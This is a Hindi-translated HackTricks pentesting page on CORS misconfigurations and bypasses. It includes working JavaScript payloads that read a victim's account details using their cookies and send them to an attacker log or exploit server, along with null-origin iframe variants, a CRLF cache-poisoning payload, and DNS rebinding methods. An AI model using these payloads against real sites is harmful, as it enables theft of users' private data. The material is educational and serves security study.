hacktricks/pentesting-web/cors-bypass.md

CORS - गलत कॉन्फ़िगरेशन और बाईपास

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
• आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
• The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
• 💬 Discord group में शामिल हों या telegram group या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
• HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।

CORS क्या है?

CORS (Cross-origin resource sharing) मानक की आवश्यकता होती है क्योंकि यह सर्वरों को यह निर्दिष्ट करने की अनुमति देता है कि कौन उसकी संपत्तियों तक पहुँच सकता है और बाहरी संसाधनों से कौन सी HTTP अनुरोध विधियाँ अनुमत हैं।

एक समान-मूल नीति की आवश्यकता होती है कि दोनों सर्वर अनुरोध करने वाले एक संसाधन और सर्वर जहाँ संसाधन स्थित है उसी प्रोटोकॉल (http://),डोमेन नाम (internal-web.com) और उसी पोर्ट (80) का उपयोग करते हैं। फिर, यदि सर्वर समान-मूल नीति को लागू करता है, तो केवल उसी डोमेन और पोर्ट से वेब पेज ही संसाधनों तक पहुँच सकेंगे।

निम्नलिखित तालिका दिखाती है कि http://normal-website.com/example/example.html में समान-मूल नीति कैसे लागू होगी :

URL पहुँचा	पहुँच अनुमति?
http://normal-website.com/example/	हाँ: समान योजना, डोमेन, और पोर्ट
http://normal-website.com/example2/	हाँ: समान योजना, डोमेन, और पोर्ट
https://normal-website.com/example/	नहीं: अलग योजना और पोर्ट
http://en.normal-website.com/example/	नहीं: अलग डोमेन
http://www.normal-website.com/example/	नहीं: अलग डोमेन
http://normal-website.com:8080/example/	नहीं: अलग पोर्ट*

*Internet Explorer इस पहुँच को अनुमति देगा क्योंकि IE पोर्ट नंबर को ध्यान में नहीं रखता जब समान-मूल नीति लागू करता है।

Access-Control-Allow-Origin हेडर

Access-Control-Allow-Origin की विशिष्टता बहु-मूलों के लिए, या मान null, या वाइल्डकार्ड * के लिए अनुमति देती है। हालांकि, कोई भी ब्राउज़र बहु-मूलों का समर्थन नहीं करता और वाइल्डकार्ड * के उपयोग पर प्रतिबंध हैं।(वाइल्डकार्ड केवल अकेले उपयोग किया जा सकता है, यह विफल हो जाएगा Access-Control-Allow-Origin: https://*.normal-website.com और इसे Access-Control-Allow-Credentials: true के साथ उपयोग नहीं किया जा सकता)

यह हेडर सर्वर द्वारा वापस किया जाता है जब एक वेबसाइट क्रॉस-डोमेन संसाधन का अनुरोध करती है, ब्राउज़र द्वारा जोड़े गए Origin हेडर के साथ।

Access-Control-Allow-Credentials हेडर

क्रॉस-ओरिजिन संसाधन अनुरोधों का डिफ़ॉल्ट व्यवहार कुकीज़ और Authorization हेडर जैसी क्रेडेंशियल्स के बिना अनुरोधों को पास करने के लिए है। हालांकि, क्रॉस-डोमेन सर्वर प्रतिक्रिया को पढ़ने की अनुमति दे सकता है जब क्रेडेंशियल्स पास किए जाते हैं उसके द्वारा CORS Access-Control-Allow-Credentials हेडर को true पर सेट करके।

यदि मान true पर सेट किया गया है तो ब्राउज़र क्रेडेंशियल्स (कुकीज़, अधिकारीकरण हेडर्स या TLS क्लाइंट प्रमाणपत्र) भेजेगा।

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

प्री-फ्लाइट अनुरोध

कुछ परिस्थितियों में, जब एक क्रॉस-डोमेन अनुरोध:

• गैर-मानक HTTP विधि (HEAD, GET, POST) को शामिल करता है
• नए हेडर्स को शामिल करता है
• विशेष Content-Type हेडर मान को शामिल करता है

{% hint style="info" %} जांचें इस लिंक में कि एक अनुरोध की क्या शर्तें हैं जिससे प्री-फ्लाइट अनुरोध भेजने से बचा जा सके {% endhint %}

क्रॉस-ओरिजिन अनुरोध से पहले OPTIONS विधि का उपयोग करके एक अनुरोध होता है, और CORS प्रोटोकॉल में क्रॉस-ओरिजिन अनुरोध की अनुमति देने से पहले यह जांचना आवश्यक होता है कि कौन सी विधियाँ और हेडर्स की अनुमति है। इसे प्री-फ्लाइट जांच कहा जाता है। सर्वर अनुमत विधियों की सूची लौटाता है इसके अलावा विश्वसनीय ओरिजिन और ब्राउज़र यह जांचता है कि क्या अनुरोध करने वाली वेबसाइट की विधि अनुमत है।

{% hint style="danger" %} ध्यान दें कि यदि प्री-फ्लाइट अनुरोध नहीं भेजा जाता है क्योंकि "सामान्य अनुरोध" की शर्तें मानी जाती हैं, तो भी प्रतिक्रिया में अधिकृत हेडर्स होने चाहिए या ब्राउज़र प्रतिक्रिया को पढ़ नहीं पाएगा अनुरोध की। {% endhint %}

उदाहरण के लिए, यह एक प्री-फ्लाइट अनुरोध है जो PUT विधि का उपयोग करने की मांग कर रहा है एक कस्टम अनुरोध हेडर के साथ जिसे Special-Request-Header कहा जाता है:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

सर्वर निम्नलिखित जैसा प्रतिसाद लौटा सकता है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers अनुमति प्राप्त हेडर्स
• Access-Control-Expose-Headers
• Access-Control-Max-Age प्री-फ्लाइट प्रतिक्रिया को कैशिंग के लिए अधिकतम समय सीमा निर्धारित करता है
• Access-Control-Request-Headers क्रॉस-ओरिजिन अनुरोध जो हेडर भेजना चाहता है
• Access-Control-Request-Method क्रॉस-ओरिजिन अनुरोध जो विधि का उपयोग करना चाहता है
• Origin क्रॉस-ओरिजिन अनुरोध का मूल (ब्राउज़र द्वारा स्वचालित रूप से सेट)

ध्यान दें कि आमतौर पर (कंटेंट-टाइप और हेडर्स सेट पर निर्भर करते हुए) GET/POST अनुरोध में कोई प्री-फ्लाइट अनुरोध नहीं भेजा जाता है (अनुरोध सीधे भेजा जाता है), लेकिन यदि आप प्रतिक्रिया के हेडर्स/बॉडी तक पहुँचना चाहते हैं, तो इसमें Access-Control-Allow-Origin हेडर होना चाहिए जो इसे अनुमति देता है।
इसलिए, CORS CSRF के खिलाफ सुरक्षा नहीं करता (लेकिन यह सहायक हो सकता है).

Local Network Requests Pre-flight request

जब एक अनुरोध को लोकल नेटवर्क IP पते पर भेजा जाता है, 2 अतिरिक्त CORS हेडर्स भेजे जाते हैं:

• Access-Control-Request-Local-Network क्लाइंट अनुरोध हेडर इंगित करता है कि अनुरोध एक लोकल नेटवर्क अनुरोध है
• Access-Control-Allow-Local-Network सर्वर प्रतिक्रिया हेडर इंगित करता है कि एक संसाधन को बाहरी नेटवर्क के साथ सुरक्षित रूप से साझा किया जा सकता है

लोकल नेटवर्क अनुरोध की अनुमति देने वाली वैध प्रतिक्रिया में भी प्रतिक्रिया हेडर Access-Controls-Allow-Local_network: true होना चाहिए:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} ध्यान दें कि linux 0.0.0.0 IP का उपयोग करके इन आवश्यकताओं को bypass किया जा सकता है ताकि localhost तक पहुंचा जा सके क्योंकि उस IP पते को "स्थानीय" नहीं माना जाता है।

यह भी संभव है कि यदि आप स्थानीय endpoint के public IP पते का उपयोग करें (जैसे कि राउटर का public IP), तो Local Network की आवश्यकताओं को bypass किया जा सकता है। क्योंकि कई बार, भले ही public IP का उपयोग किया जा रहा हो, अगर यह स्थानीय नेटवर्क से है, तो पहुंच प्रदान की जाएगी।

{% endhint %}

Exploitable misconfigurations

ध्यान दें कि अधिकांश वास्तविक हमलों के लिए Access-Control-Allow-Credentials को true पर सेट किया जाना चाहिए क्योंकि इससे ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति मिलेगी। बिना क्रेडेंशियल्स के, कई हमले अप्रासंगिक हो जाते हैं; इसका मतलब है कि आप उपयोगकर्ता के कुकीज़ पर सवारी नहीं कर सकते, इसलिए अक्सर उनके ब्राउज़र से अनुरोध करने के बजाय खुद से अनुरोध करने से कुछ भी हासिल नहीं होता है।

एक उल्लेखनीय अपवाद तब होता है जब पीड़ित का नेटवर्क स्थान किसी प्रकार के प्रमाणीकरण के रूप में काम करता है। आप पीड़ित के ब्राउज़र का उपयोग प्रॉक्सी के रूप में करके IP-आधारित प्रमाणीकरण को bypass कर सकते हैं और इंट्रानेट एप्लिकेशन तक पहुंच सकते हैं। प्रभाव के मामले में यह DNS rebinding के समान है, लेकिन इसका शोषण करना बहुत कम जटिल है।

Reflected Origin in Access-Control-Allow-Origin

वास्तविक दुनिया में यह हो नहीं सकता क्योंकि इन 2 मानों के headers को एक साथ निषिद्ध किया गया है।
यह भी सच है कि बहुत से डेवलपर्स CORS में कई URLs को अनुमति देना चाहते हैं, लेकिन सबडोमेन वाइल्डकार्ड्स या URLs की सूचियों की अनुमति नहीं है। तब, कई डेवलपर्स गतिशील रूप से **Access-Control-Allow-Origin**header उत्पन्न करते हैं, और कई बार वे बस Origin header के मान की प्रतिलिपि बनाते हैं।

उस स्थिति में, वही कमजोरी का शोषण किया जा सकता है।

अन्य मामलों में, डेवलपर यह जांच सकता है कि डोमेन (victimdomain.com) Origin header में दिखाई देता है, तब, एक हमलावर attackervictimdomain.com नामक डोमेन का उपयोग करके गोपनीय जानकारी चुरा सकता है।

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null मूल (Origin)

null Origin हेडर के लिए एक विशेष मान है। विनिर्देशन में इसे रीडायरेक्ट्स और स्थानीय HTML फाइलों द्वारा ट्रिगर किए जाने का उल्लेख है। कुछ एप्लिकेशन स्थानीय विकास का समर्थन करने के लिए null मूल को व्हाइटलिस्ट कर सकते हैं।
यह अच्छा है क्योंकि कई एप्लिकेशन इस मान को CORS में अनुमति देंगे और कोई भी वेबसाइट आसानी से सैंडबॉक्स्ड iframe का उपयोग करके null मूल प्राप्त कर सकती है:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regexp बायपास

यदि आपने पाया कि डोमेन victim.com को whitelisted किया गया है, तो आपको जांचना चाहिए कि victim.com.attacker.com भी whitelisted है या नहीं, या, यदि आप किसी सबडोमेन को takeover कर सकते हैं, तो जांचें कि somesubdomain.victim.com whitelisted है या नहीं।

Advance Regexp बायपास

अधिकांश regex जो स्ट्रिंग के अंदर डोमेन की पहचान करने के लिए इस्तेमाल होते हैं, वे alphanumeric ASCII अक्षरों और .- पर केंद्रित होते हैं। इसलिए, Origin हेडर में victimdomain.com{.attacker.com जैसा कुछ regexp द्वारा victimdomain.com के रूप में व्याख्या किया जाएगा, लेकिन ब्राउज़र (इस मामले में Safari इस अक्षर को डोमेन में समर्थन करता है) attacker.com डोमेन तक पहुंचेगा।

_ अक्षर (सबडोमेन्स में) केवल Safari में ही नहीं, बल्कि Chrome और Firefox में भी समर्थित है!

तब, उन सबडोमेन्स में से एक का उपयोग करके आप कुछ "सामान्य" regexps को बायपास कर सकते हैं जो URL के मुख्य डोमेन को खोजने के लिए होते हैं।

इस बायपास की अधिक जानकारी और सेटिंग्स के लिए देखें: https://www.corben.io/advanced-cors-techniques/ और https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

सबडोमेन के अंदर XSS से

CORS शोषण के खिलाफ एक रक्षात्मक तंत्र जो डेवलपर्स इस्तेमाल करते हैं, वह है उन डोमेन्स को white-list करना जो जानकारी के लिए बार-बार एक्सेस की मांग करते हैं। हालांकि, यह पूरी तरह सुरक्षित नहीं है, क्योंकि यदि whitelisted डोमेन का एक भी सबडोमेन XSS जैसे अन्य शोषणों के लिए संवेदनशील है, तो यह CORS शोषण को सक्षम कर सकता है।

उदाहरण के लिए, निम्नलिखित कोड requester.com के सबडोमेन्स को provider.com के संसाधनों तक पहुंचने की अनुमति देने वाले कॉन्फ़िगरेशन को दिखाता है।

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}

सर्वर-साइड कैश पॉइज़निंग

यदि संयोग से सब कुछ अनुकूल हो, तो हम HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का उपयोग करके संग्रहित XSS भेद्यता बना सकते हैं।

यदि कोई एप्लिकेशन Origin हेडर को प्रतिबिंबित करता है बिना इसे अवैध अक्षरों के लिए जांचे, तो हमारे पास IE/Edge उपयोगकर्ताओं के खिलाफ HTTP हेडर इंजेक्शन भेद्यता है क्योंकि Internet Explorer और Edge \r (0x0d) को मान्य HTTP हेडर समाप्ति मानते हैं:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer इस प्रतिक्रिया को इस प्रकार देखता है:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

यह सीधे तौर पर भेद्य नहीं है क्योंकि हमलावर के लिए यह संभव नहीं है कि वह किसी के वेब ब्राउज़र को इस तरह का दोषपूर्ण हेडर भेजने के लिए बना सके, लेकिन मैं Burp Suite में इस अनुरोध को मैन्युअली तैयार कर सकता हूँ और सर्वर-साइड कैश इस प्रतिक्रिया को सहेज सकता है और इसे अन्य लोगों को परोस सकता है। मैंने जो पेलोड इस्तेमाल किया है वह पृष्ठ के चरित्र सेट को UTF-7 में बदल देगा, जो XSS भेद्यताओं को बनाने के लिए कुख्यात रूप से उपयोगी है।

क्लाइंट-साइड कैश पॉइज़निंग

आपने कभी-कभी एक पृष्ठ देखा होगा जिसमें कस्टम HTTP हेडर में प्रतिबिंबित XSS होता है। मान लीजिए कि एक वेब पृष्ठ किसी कस्टम हेडर की सामग्री को बिना एन्कोडिंग के प्रतिबिंबित करता है:

GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\

CORS के साथ, हम Header में कोई भी मान भेज सकते हैं। अपने आप में, यह बेकार है क्योंकि हमारा इंजेक्ट किया गया JavaScript प्रदर्शित नहीं किया जाएगा। हालांकि, अगर Vary: Origin निर्दिष्ट नहीं किया गया है तो प्रतिक्रिया ब्राउज़र के कैश में संग्रहीत हो सकती है और जब ब्राउज़र संबंधित URL पर नेविगेट करता है तो सीधे प्रदर्शित की जा सकती है। मैंने एक fiddle बनाया है ताकि आप अपनी पसंद के URL पर यह हमला आजमा सकें। चूंकि यह हमला क्लाइंट-साइड कैशिंग का उपयोग करता है, यह वास्तव में काफी विश्वसनीय है।

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

बाइपास

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI एक प्रकार की कमजोरी को दर्शाता है जो इस तथ्य का शोषण करती है कि, जब script टैग का उपयोग करके कोई संसाधन शामिल किया जाता है, तो SOP लागू नहीं होता है, क्योंकि स्क्रिप्ट्स को क्रॉस-डोमेन शामिल करने में सक्षम होना चाहिए। इस प्रकार एक हमलावर script टैग का उपयोग करके शामिल की गई सभी चीजों को पढ़ सकता है।

यह विशेष रूप से तब दिलचस्प होता है जब डायनामिक जावास्क्रिप्ट या JSONP की बात आती है जब प्रमाणीकरण के लिए कुकीज जैसी वातावरण-प्राधिकरण जानकारी का उपयोग होता है। कुकीज को एक अलग होस्ट से संसाधन की मांग करते समय शामिल किया जाता है। BurpSuite प्लगइन: https://github.com/kapytein/jsonp

यहां XSSI के विभिन्न प्रकारों और उन्हें कैसे शोषित करें, इसके बारे में और पढ़ें।

अनुरोध में एक callback पैरामीटर जोड़ने का प्रयास करें। हो सकता है कि पेज डेटा को JSONP के रूप में भेजने के लिए तैयार किया गया हो। ऐसे मामले में पेज डेटा को Content-Type: application/javascript के साथ वापस भेजेगा जो CORS नीति को बाइपास करेगा।

आसान (बेकार?) बाइपास

आप एक वेब-एप्लिकेशन से अनुरोध कर सकते हैं कि वह आपके लिए एक अनुरोध करे और प्रतिक्रिया वापस भेजे। इससे Access-Control-Allow-Origin बाइपास हो जाएगा लेकिन ध्यान दें कि अंतिम पीड़ित के प्रमाणपत्र नहीं भेजे जाएंगे क्योंकि आप एक अलग डोमेन से संपर्क करेंगे (जो आपके लिए अनुरोध करेगा)।

CORS-escape

CORS-escape एक प्रॉक्सी प्रदान करता है जो हमारे अनुरोध को इसके हेडर्स के साथ पास करता है, और यह Origin हेडर को भी स्पूफ करता है (Origin = अनुरोधित डोमेन). इस प्रकार CORS नीति बाइपास हो जाती है।
स्रोत कोड Github पर है, इसलिए आप अपना खुद का होस्ट कर सकते हैं।

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");

simple-cors-escape

प्रॉक्सी का मतलब है "आपके अनुरोध को आगे बढ़ाना", जैसा कि आपने भेजा था। हम इसे एक वैकल्पिक तरीके से हल कर सकते हैं जिसमें अभी भी किसी और के द्वारा अनुरोध करना शामिल है, लेकिन इस बार, आपके अनुरोध को आगे बढ़ाने के बजाय, सर्वर अपना खुद का अनुरोध करता है, लेकिन जो भी पैरामीटर आपने निर्दिष्ट किए हैं उसके साथ।

Iframe + Popup Bypass

आप CORS जांचों को बायपास कर सकते हैं जैसे कि e.origin === window.origin एक iframe बनाकर और उससे एक नई विंडो खोलकर। निम्नलिखित पृष्ठ में अधिक जानकारी:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

मूल रूप से आप पीड़ित को अपने पृष्ठ पर पहुंचाते हैं, फिर आप अपने डोमेन के DNS (आईपी) को बदलते हैं और इसे पीड़ित के वेब पृष्ठ की ओर इशारा करते हैं। आप अपने पीड़ित को निष्पादित करते हैं (JS) कुछ जब TTL समाप्त हो जाता है ताकि एक नया DNS अनुरोध किया जाएगा और फिर आप जानकारी एकत्र कर पाएंगे (क्योंकि आप हमेशा उपयोगकर्ता को अपने डोमेन में बनाए रखेंगे, वह कोई कुकी पीड़ित सर्वर को नहीं भेजेगा, इसलिए यह विकल्प पीड़ित के आईपी के विशेष अधिकारों का दुरुपयोग करता है).

यहां तक कि अगर आप TTL को बहुत कम सेट करते हैं (0 या 1) ब्राउज़र में एक कैश होता है जो आपको इसका दुरुपयोग करने से कई सेकंड/मिनटों के लिए रोकेगा.

इसलिए, यह तकनीक स्पष्ट जांचों को बायपास करने के लिए उपयोगी है (पीड़ित स्पष्ट रूप से DNS अनुरोध कर रहा है डोमेन के आईपी की जांच करने के लिए और जब बॉट को बुलाया जाता है तो वह अपना खुद का करेगा).

या जब आपके पास एक उपयोगकर्ता/बॉट एक ही पृष्ठ पर लंबे समय तक हो (ताकि आप प्रतीक्षा कर सकें जब तक कि कैश समाप्त नहीं हो जाता).

अगर आपको इसका दुरुपयोग करने के लिए कुछ तेज़ चाहिए तो आप https://lock.cmpxchg8b.com/rebinder.html जैसी सेवा का उपयोग कर सकते हैं।

अगर आप अपना खुद का DNS रिबाइंडिंग सर्वर चलाना चाहते हैं तो आप DNSrebinder, का उपयोग कर सकते हैं, फिर अपने स्थानीय पोर्ट 53/udp को उजागर करें, एक A रजिस्ट्री इसके लिए बनाएं (ns.example.com), और एक NS रजिस्ट्री बनाएं जो पहले बनाए गए A सबडोमेन की ओर इशारा करती है(ns.example.com).
तब, उस सबडोमेन का कोई भी सबडोमेन (ns.example.com), आपके होस्ट द्वारा हल किया जाएगा।

http://rebind.it/singularity.html में सार्वजनिक रूप से चल रहे सर्वर को भी देखें

DNS Rebinding via DNS Cache Flooding

जैसा कि पिछले अनुभाग में समझाया गया था, ब्राउज़र डोमेन के आईपी को TTL में निर्दिष्ट समय से अधिक समय तक कैश करते हैं। हालांकि, इस बचाव को बायपास करने का एक तरीका है।

आपके पास एक सर्विस वर्कर हो सकता है जो DNS कैश को बाढ़ कर दूसरे DNS अनुरोध को मजबूर करेगा। तो प्रवाह इस तरह होगा:

1. DNS अनुरोध हमलावर के पते के साथ उत्तर दिया गया
2. सर्विस वर्कर DNS कैश को बाढ़ देता है (कैश किया गया हमलावर सर्वर का नाम मिटा दिया जाता है)
3. दूसरा DNS अनुरोध इस बार 127.0.0.1 के साथ उत्तर दिया गया

नीला पहला DNS अनुरोध है और नारंगी बाढ़ है।

DNS Rebinding via Cache

जैसा कि पिछले अनुभाग में समझाया गया था, ब्राउज़र डोमेन के आईपी को TTL में निर्दिष्ट समय से अधिक समय तक कैश करते हैं। हालांकि, इस बचाव को बायपास करने का एक और तरीका है।

आप 2 A रिकॉर्ड बना सकते हैं (या 1 को 2 आईपी के साथ, प्रदाता पर निर्भर करता है) एक ही सबडोमेन के लिए DNS प्रदाता में और जब एक ब्राउज़र उन्हें चेक करता है तो वह दोनों प्राप्त करेगा।

अब, अगर ब्राउज़र पहले हमलावर के आईपी पते का उपयोग करने का फैसला करता है, तो हमलावर पेलोड को सेवा देने में सक्षम होगा जो उसी डोमेन के लिए HTTP अनुरोध करेगा। हालांकि, अब जब हमलावर को पीड़ित का आईपी पता पता चल जाता है, वह पीड़ित ब्राउज़र को उत्तर देना बंद कर देगा।

जब ब्राउज़र पाता है कि डोमेन उसे उत्तर नहीं दे रहा है, तो वह दूसरे दिए गए आईपी का उपयोग करेगा, इसलिए वह SOP को बायपास करते हुए एक अलग जगह तक पहुंचेगा। हमलावर उसका दुरुपयोग कर सकता है जानकारी प्राप्त करने और उसे निकालने के लिए।

{% hint style="warning" %} ध्यान दें कि लोकलहोस्ट तक पहुंचने के लिए आपको Windows में 127.0.0.1 को रिबाइंड करने की कोशिश करनी चाहिए और Linux में 0.0.0.0।
प्रदाता जैसे कि godaddy या cloudflare ने मुझे 0.0.0.0 का आईपी उपयोग करने की अनुमति नहीं दी, लेकिन AWS route53 ने मुझे एक A रिकॉर्ड बनाने की अनुमति दी जिसमें 2 आईपी होते हैं जिनमें से एक "0.0.0.0" होता है

{% endhint %}

अधिक जानकारी के लिए आप https://unit42.paloaltonetworks.com/dns-rebinding/ देख सकते हैं।

अन्य सामान्य Bypasses

• अगर आंतरिक आईपी की अनुमति नहीं है, तो वे 0.0.0.0 को मना करना भूल सकते हैं (Linux और Mac पर काम करता है)
• अगर आंतरिक आईपी की अनुमति नहीं है, तो एक CNAME का उत्तर दें localhost के लिए (Linux और Mac पर काम करता है)
• अगर आंतरिक आईपी की अनुमति नहीं है DNS उत्तरों के रूप में, आप CNAMEs का उत्तर दे सकते हैं आंतरिक सेवाओं के लिए जैसे कि www.corporate.internal.